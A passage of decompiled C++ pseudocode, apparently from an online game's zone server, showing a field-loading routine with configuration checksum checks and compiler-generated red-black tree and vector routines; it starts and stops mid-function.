error - Field struct changed", 0); ShineExit("FieldContainer::fc_Load"); } v26 = *((_BYTE *)v24 + 107); if ( v26 && v26 != 1 || (v27 = *((_BYTE *)v25 + 108)) != 0 && v27 != 1 || (v28 = *((_BYTE *)v25 + 109)) != 0 && v28 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : checksum error - Field struct changed", 0); ShineExit("FieldContainer::fc_Load"); } *((_BYTE *)v25 + 154) = 0; do { v29 = (int)((char *)v25 + 8 * *((_BYTE *)v25 + 154)); if ( !*(_DWORD *)(v29 + 122) ) break; if ( !*(_DWORD *)(v29 + 126) ) break; v30 = *((_BYTE *)v25 + 154) + 1; *((_BYTE *)v25 + 154) = v30; } while ( v30 < 4u ); LOBYTE(v31) = *((_BYTE *)v25 + 154); v32 = (unsigned __int8)v31 > 0u && (unsigned __int8)v31 <= 4u; v31 = (unsigned __int8)v31; if ( !v32 ) { AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : RegenLocation Wrong", v31); ShineExit("FieldContainer::fc_Load"); } v33 = ZoneServer::zs_worlddata(&zoneserver); v34 = *((_BYTE *)v25 + 21); v91 = v33->nZoneNo; v90 = v34; v35 = ZoneServer::zs_GetServerGroup(&zoneserver); v36 = FieldOption::fo_GetMechineNumber(&::this, v35, v90, v91); machine = (ORToken *)v36; if ( v36 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : machine number", v36); ShineExit("FieldContainer::fc_Load"); } v37 = *((_BYTE *)v25 + 21); v91 = (int)&type; v90 = 1; v89 = v37; v88 = "Serial"; v95 = &v83; *(_DWORD *)&v87.ort_Name[0] = 0; *(_DWORD *)&v86.ort_Name[0] = 0; v85 = 0; v84 = 0; *(_DWORD *)&v83.ort_Name[0] = 0; strncpy(v83.ort_Name, "FieldList", 0x14u); v111 = -1; v38 = ZoneServer::zs_GetServerGroup(&zoneserver); if ( OptionReader::or_Select(&v2->fc_FieldOption.baseclass_0, v38, v83, v88, v89, v90, (int *)v91) != 0 ) { v91 = *((_BYTE *)v25 + 21); AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : Duplicate serial", v91); ShineExit("FieldContainer::fc_Load"); } if ( *((_BYTE *)v25 + 65) != 45 ) ScenarioBookShelf::sbs_ReadNAssert(&scenarioshelf, (char *)v25 + 65); if ( *((_BYTE *)v25 + 13) == 45 ) { FieldContainer::fc_MakeField(v2, world, (FieldOption::FieldAttr *)v25, (Name3 *)v25, *((_BYTE *)v25 + 21), v36); v2 = thisa; ++i; } else { v39 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v39; v40 = (char *)&namestring + 256 * v39; *(_DWORD *)v40 = *(_DWORD *)v25; *((_DWORD *)v40 + 1) = *((_DWORD *)v25 + 1); *((_DWORD *)v40 + 2) = *((_DWORD *)v25 + 2); v40[12] = 0; v41 = (char *)(mapfrom - v40); do { v42 = *v40; v40[(_DWORD)v41] = *v40; ++v40; } while ( v42 ); v43 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v43; v44 = (char *)&namestring + 256 * v43; *(_DWORD *)v44 = *(_DWORD *)v25; *((_DWORD *)v44 + 1) = *((_DWORD *)v25 + 1); *((_DWORD *)v44 + 2) = *((_DWORD *)v25 + 2); v44[12] = 0; v45 = (char *)(mapto - v44); do { v46 = *v44; v44[(_DWORD)v45] = *v44; ++v44; } while ( v46 ); v47 = (int)((char *)v25 + 13); v48 = (char *)v25 + 13; do v49 = *(_BYTE *)v47++; while ( v49 ); v50 = v47 - (_DWORD)v48; v51 = (char *)&v100 + 3; do { v52 = *((_BYTE *)v51 + 1); v51 = (char *)v51 + 1; } while ( v52 ); memcpy(v51, v48, 4 * (v50 >> 2)); v54 = (char *)v48 + 4 * (v50 >> 2); v53 = (char *)v51 + 4 * (v50 >> 2); v55 = v50 & 3; v56 = (int)((char *)v25 + 17); memcpy(v53, v54, v55); v57 = (char *)v25 + 17; do v58 = *(_BYTE *)v56++; while ( v58 ); v59 = v56 - (_DWORD)v57; v60 = (char *)&v108 + 3; do { v61 = *((_BYTE *)v60 + 1); v60 = (char *)v60 + 1; } while ( v61 ); memcpy(v60, v57, 4 * (v59 >> 2)); v63 = (char *)v57 + 4 * (v59 >> 2); v62 = (char *)v60 + 4 * (v59 >> 2); v64 = v59 & 3; v65 = (int)mapfrom; memcpy(v62, v63, v64); do { v66 = *(_BYTE *)v65; *(_BYTE *)(&mss - mapfrom + v65) = *(_BYTE *)v65; ++v65; } while ( v66 ); v67 = 0; do { v68 = mapto[v67]; v104[v67++] = v68; } while ( v68 ); v69 = &mss; v106 = 45; do v70 = *v69++; while ( v70 ); v108 = v69 - v103 - 1; if ( MapSubString::mss_Next((MapSubString *)&mss) ) { v71 = thisa; do { v100 = 0; v99 = 0; *(_DWORD *)map = 0; strncpy(map, &v106, 0xCu); if ( machine == (ORToken *)99 ) { v72 = &v106; do v73 = *v72++; while ( v73 ); if ( ZoneServer::zs_worlddata(&zoneserver)->nZoneNo != *(&v105 + v72 - v107) - 48 ) continue; v74 = &v106; do v75 = *v74++; while ( v75 ); v91 = (unsigned __int8)(*(&v105 + v74 - v107) - 48); } else { v91 = (int)machine; } v90 = *((_BYTE *)v25 + 21); FieldContainer::fc_MakeField(v71, world, (FieldOption::FieldAttr *)v25, (Name3 *)map, v90, v91); } while ( MapSubString::mss_Next((MapSubString *)&mss) ); } v2 = thisa; ++i; } } v95 = &v87; v91 = 0; v90 = 0; v89 = 0; v88 = 0; *(_DWORD *)&v87.ort_Name[0] = 0; strncpy(v87.ort_Name, "GuildTournamentMap", 0x14u); v76 = OptionReader::or_SelectCountFrom(&v2->fc_FieldOption.baseclass_0, v87); v91 = 4 * v76; v2->fc_GuildTournamentMap.number = v76; v77 = operator new__(v91); v78 = v2->fc_GuildTournamentMap.number; v2->fc_GuildTournamentMap.attr = (FieldOption::GuildTournamentMapStr **)v77; v79 = 0; if ( v78 > 0 ) { do v2->fc_GuildTournamentMap.attr[v79++] = 0; while ( v79 < v2->fc_GuildTournamentMap.number ); } v12 = v2->fc_GuildTournamentMap.number == 0; v13 = v2->fc_GuildTournamentMap.number < 0; i = 0; if ( !(v13 | v12) ) { do { v91 = i; v95 = &v86; v90 = 0; v89 = 0; v88 = 0; *(_DWORD *)&v87.ort_Name[0] = 0; *(_DWORD *)&v86.ort_Name[0] = 0; strncpy(v86.ort_Name, "GuildTournamentMap", 0x14u); v80 = OptionReader::or_SelectFromOrder(&v2->fc_FieldOption.baseclass_0, v86, v91); v81 = *((_BYTE *)v80 + 13); if ( v81 >= v2->fc_GuildTournamentMap.number ) { AssertClass::ac_AssertFail(&shineassert, "Error in GuildTournamentMap : Too large GTMapNo", v81); ShineExit("FieldContainer::fc_Load"); } if ( v2->fc_GuildTournamentMap.attr[v81] != 0 ) { AssertClass::ac_AssertFail(&shineassert, "Error in GuildTournamentMap : duplicate GTMapNo", v81); ShineExit("FieldContainer::fc_Load"); } v2->fc_GuildTournamentMap.attr[v81] = (FieldOption::GuildTournamentMapStr *)v80; v12 = *((_BYTE *)v80 + 13) != *((_BYTE *)v80 + 304); v95 = (ORToken *)(*((_BYTE *)v80 + 13) == *((_BYTE *)v80 + 304)); if ( v12 ) { AssertClass::ac_AssertFail(&shineassert, "Checksum error in table GuildTournamentMap(Field.txt)", i); ShineExit("FieldContainer::fc_Load"); } v82 = v2->fc_GuildTournamentMap.number; ++i; } while ( i < v82 ); } __security_check_cookie(cookie); } // 4442F0: using guessed type char var_114[63]; //----- (00444C20) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, AbnormalStateInfo::ABSTATEINDEX *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval >= *_Keyval ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || *_Keyval < v3->_Myval ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (00444C90) -------------------------------------------------------- bool __thiscall FieldMap::fm_IsRefuseAbstate(std::_Tree,std::allocator,0> >::iterator this, int idx) { std::_Tree,std::allocator,0> >::iterator v2; // esi@1 bool v3; // bl@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = this; v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldContainer::fm_IsRefuseAbstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldContainer::fm_IsRefuseAbstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&std::_Tree_std::allocator_0>>::find( (std::_Tree,std::allocator,0> > *)(*(_DWORD *)&v2 + 280), &result, (AbnormalStateInfo::ABSTATEINDEX *)&idx)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(*(_DWORD *)&v2 + 284); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldContainer::fm_IsRefuseAbstate"); return v3; } //----- (00444D20) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, AbnormalStateInfo::ABSTATEINDEX *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x3FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 16) = 1; *(_BYTE *)(v14 + 16) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 16) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00444ED0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 17) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 17) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 17) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 16); *(_BYTE *)(*(_DWORD *)&v6 + 16) = *(_BYTE *)(*(_DWORD *)&v4 + 16); *(_BYTE *)(*(_DWORD *)&v4 + 16) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 16) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 16) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 16) ) { *(_BYTE *)(v15 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 17) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 16) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 16) = 1; *(_BYTE *)(v15 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 16) ) { *(_BYTE *)(v15 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 17) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) = 1; *(_BYTE *)(v15 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)v15 + 16) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 16) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 16) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00445190) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00445200) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, AbnormalStateInfo::ABSTATEINDEX *_Val) { AbnormalStateInfo::ABSTATEINDEX *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 AbnormalStateInfo::ABSTATEINDEX v8; // edx@2 AbnormalStateInfo::ABSTATEINDEX *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = *_Val; do { v7 = v8 < v6->_Myval; v5 = v6; _Addleft = v8 < v6->_Myval; if ( v8 >= v6->_Myval ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (AbnormalStateInfo::ABSTATEINDEX *)v5; _Val = (AbnormalStateInfo::ABSTATEINDEX *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( *((_DWORD *)v9 + 3) >= *v3 ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (004452C0) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 17) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 17); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 17); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00445380) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, RoutionInterface *const *_Val) { std::vector > *v4; // esi@1 RoutionInterface **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #331 **v16; // eax@25 RoutionInterface **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #331 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (RoutionInterface *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#331 **)(v20 - v23); v4->_Mylast = (RoutionInterface **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#331 ***)&v21, v25, (#331 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#331 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = 